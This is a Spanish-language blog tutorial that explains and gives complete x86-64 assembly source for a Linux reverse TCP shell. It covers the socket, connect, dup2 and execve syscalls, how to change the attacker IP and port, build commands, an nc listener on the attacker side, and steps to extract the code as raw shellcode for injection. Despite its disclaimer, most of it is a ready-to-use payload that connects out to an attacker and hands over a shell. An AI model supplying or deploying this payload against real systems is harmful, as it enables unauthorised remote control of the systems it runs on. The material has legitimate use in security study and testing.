Reverse TCP Shell
Reverse shell TCP implementado en ensamblador x86-64. Usando únicamente syscalls, sin dependencias.
Uso responsable
El contenido de este sitio web se publica exclusivamente con fines educativos e informativos. El autor no promueve, respalda ni se hace responsable del uso indebido o ilegal de la información aquí expuesta. Cualquier acción realizada a partir de este contenido debe llevarse a cabo únicamente en entornos controlados, sistemas propios o con autorización expresa y verificable del propietario del sistema.
Introducción¶
En la reverse shell es la máquina objetivo quien inicia la conexión hacia el atacante, en lugar de que el atacante se conecte a la máquina objetivo. Esto es útil para evadir firewalls que bloquean conexiones entrantes pero permiten salientes.
Flujo de ejecución¶
┌────────────┐ ┌──────────────────────┐ ┌─────────────────────────┐ ┌──────────────┐
│ socket(41) │──s──▶│ connect(42, s, A:P) │─────▶│ dup2(33): 0,1,2 → s │─────▶│ execve(59) │
└────────────┘ └──────────────────────┘ └─────────────────────────┘ └──────────────┘
0 = (stdin) ──┐
1 = (stdout) ├──────────────► socket(s) ───────────────► ATACANTE (A:P)
2 = (stderr) ─┘
Crear socket TCP¶
socket (nº 41 en Linux x86-64) crea un objeto de comunicación en el kernel y devuelve un file descriptor (FD) para operar con él (conectar, enlazar, escuchar, enviar/recibir). Recién creado es solo un objeto en memoria identificado por su FD, tiene familia/tipo/protocolo, pero no IP ni puertos.
rax = 41 ; Número de syscall (socket)
rdi = domain ; Familia de direcciones (AF_*)
rsi = type ; Tipo de socket (SOCK_*), opcionalmente OR con flags
rdx = protocol ; Protocolo (0 = por defecto)
Puesto que la idea es crear un socket TCP/IPv4 los argumentos de entrada tomarán los siguientes valores:
| Registro | Valor | Significado |
|---|---|---|
RAX |
41 | Número de syscall (socket) |
RDI |
2 | AF_INET (familia IPv4) |
RSI |
1 | SOCK_STREAM (TCP) |
RDX |
0 | Protocolo (0 = por defecto) |
El registro RAX tras la syscall contiene el file descriptor del socket. Se vuelve un endpoint real cuando se realiza una acción con este (bind, connect o accept).
Conectarse al atacante¶
connect (nº 42 en Linux x86-64) solicita establecer una conexión entre un socket previamente creado y un endpoint remoto. En TCP/SOCK_STREAM, inicia el handshake TCP (SYN → SYN/ACK → ACK).
rax = 42 ; Número de syscall (connect)
rdi = sockfd ; FD del socket (devuelto por socket())
rsi = addr ; puntero a struct sockaddr (sockaddr_in / sockaddr_in6 / sockaddr_un, …)
rdx = addrlen ; tamaño de esa struct (16 para sockaddr_in)
Estructura sockaddr_in
La estructura sockaddr_in define el endpoint remoto y está compuesto por 16 bytes. La construiremos directamente en el stack empaquetando los valores en un qword.
El desglose interno de los campos sería el siguiente:
| Campo | Bytes | Valor | Significado |
|---|---|---|---|
sin_family |
02 00 |
2 |
AF_INET |
sin_port |
11 5c |
4444 |
Puerto en network byte order |
sin_addr |
7f 00 00 01 |
127.0.0.1 |
IP destino |
sin_zero |
00 00 00 00 00 00 00 00 |
0 |
Padding (8 bytes) |
El padding se introduce primero en el stack (8 bytes de ceros), luego el qword con familia+puerto+IP (8 bytes), formando los 16 bytes totales.
Redirigir I/O¶
dup2 (nº 33 en Linux x86-64) duplica un file descriptor (FD) existente sobre otro número de FD específico, cerrando primero el FD destino si estaba abierto. Tras la llamada, ambos apuntan al mismo open file description (mismo offset y file status flags). Es fundamental para redirecciones de entrada/salida, permitiendo que stdin/stdout/stderr apunten a archivos, sockets o pipes.
rax = 33 ; Número de syscall (dup2)
rdi = oldfd ; Descriptor existente a duplicar
rsi = newfd ; Número de descriptor destino
Ejecutaremos dup2 en tres ocasiones para redirigir stdin/stdout/stderr al socket:
| Iteración | RSI | Efecto |
|---|---|---|
| 1 | 0 | stdin → socket |
| 2 | 1 | stdout → socket |
| 3 | 2 | stderr → socket |
Ejecutar Shell¶
execve (nº 59 en Linux x86-64) reemplaza la imagen del proceso actual por la de un nuevo programa. Si tiene éxito, el flujo continúa en el código del programa cargado.
rax = 59 ; Número de syscall (execve)
rdi = filename ; puntero a cadena con la ruta al ejecutable (C-string)
rsi = argv ; puntero a array de punteros a C-string (argv[0..n], terminado en NULL)
rdx = envp ; puntero a array de punteros a C-string (variables de entorno, terminado en NULL)
Puesto que la idea es ejecutar /bin/sh en el sistema objetivo:
| Registro | Valor | Significado |
|---|---|---|
RAX |
59 | Número de syscall (execve) |
RDI |
pathname |
Puntero a "/bin/sh\0" |
RSI |
argv |
Puntero a array de argumentos (NULL) |
RDX |
envp |
Puntero a array de entorno (NULL) |
Construimos los argumentos en el stack, primero el null-terminator, luego la cadena y después los punteros NULL para argv y envp.
La cadena /bin/sh equivale a 2F 62 69 6E 2F 73 68 (7 bytes). Para cargarla usaremos el valor 0x68732f6e69622f (little-endian). Al hacer push, los bytes se almacenan en memoria en el orden correcto.
Personalización¶
Cambiar IP de destino¶
Cada octeto de la IP se convierte a hexadecimal.
| IP | Valor (Hex) |
|---|---|
| 127.0.0.1 | 0x7F000001 |
| 192.168.1.1 | 0xC0A80101 |
| 192.168.18.245 | 0xC0A812F5 |
| 10.0.0.50 | 0x0A000032 |
Cambiar puerto¶
El puerto se almacena en network byte order (big-endian).
| Puerto | Valor (Hex) |
|---|---|
| 4444 | 0x115c |
| 8080 | 0x1f90 |
| 443 | 0x01BB |
| 9001 | 0x2329 |
Código completo (rev_shell.asm)¶
section .text
global _start
_start:
; SOCKET
mov rax, 41
mov rdi, 2 ;IPV4
mov rsi, 1 ;TCP
xor rdx, rdx ; Default
syscall
; Store socket FD
mov r8, rax
; CONNECT
mov rax, 42
mov rdi, r8
; Stack Low <----------- High
; Entrada esperada: 02 00 11 5c 7F 00 00 01 00 00 00 00 00 00 00 00
; └──┘ └──┘ └────────┘ └──────────────────────┘
; 0-1 2-3 4-7 8-15 (16 bytes en total)
; fam port IP padding
; Mapeado de los campos de sockaddr_in:
; Bytes 0-1: 02 00 → sin_family (AF_INET = 2)
; Bytes 2-3: 11 5c → sin_port (4444)
; Bytes 4-7: 7f 00 00 01 → sin_addr (127.0.0.1)
; Bytes 8-15: 00 00 00 00... → sin_zero (padding)
xor r9,r9 ; 0
push r9 ; 64 bits de padding a 0 (sin_zero)(8 bytes)
mov r10, 0x0100007f5c110002
push r10 ; sin_family + sin_port + sin_addr (8 bytes)
mov rsi, rsp ; direccion del tope de la pila
mov rdx, 16 ;IPV4 (espera 16 bytes)
syscall
xor rsi,rsi
.dup2: ; stdin(0), stdout(1), stderr(2) redirigidos al socket
;DUP2
mov rax, 33
mov rdi, r8
syscall
inc rsi
cmp rsi, 3
jl .dup2
; EXEXCVE
mov rax, 59
push 0 ; null terminator de /bin/sh -> /bin/sh\0
mov r12, 0x68732f6e69622f ; /bin/sh (2F 62 69 6E 2F 73 68) en little-endian
push r12 ; string /bin/sh
mov rdi, rsp
push 0 ; argv = {NULL}
mov rsi, rsp
push 0 ; envp = {NULL}
mov rdx, rsp
syscall
.done:
; EXIT
mov rax, 60 ; syscall: exit
xor rdi, rdi ; exit code = 0 (éxito)
syscall
Compilación y uso¶
# Compilar
nasm -f elf64 rev_shell.asm -o rev_shell.o
ld rev_shell.o -o rev_shell
# En la máquina atacante: iniciar listener
nc -lvnp 4444
# En la máquina objetivo: ejecutar
./rev_shell
Extracción de bytes¶
# Extraer solo la sección .text
objcopy -O binary --only-section=.text rev_shell rev_shell.bin
# Visualizar los bytes (C)
xxd -i rev_shell.bin
# Ver tamaño
wc -c rev_shell.bin
Agradecimientos¶
Gracias por llegar hasta aquí.
Si encuentras errores o quieres mejorar/ampliar el artículo, el contenido del blog está abierto a Pull Requests. Toda contribución es bienvenida.
¡Nos vemos en el próximo artículo! ;)
Ver también
Process Injection via Ptrace - Hace uso de una versión adaptada de esta Reverse TCP Shell como payload en inyección de procesos basados en Ptrace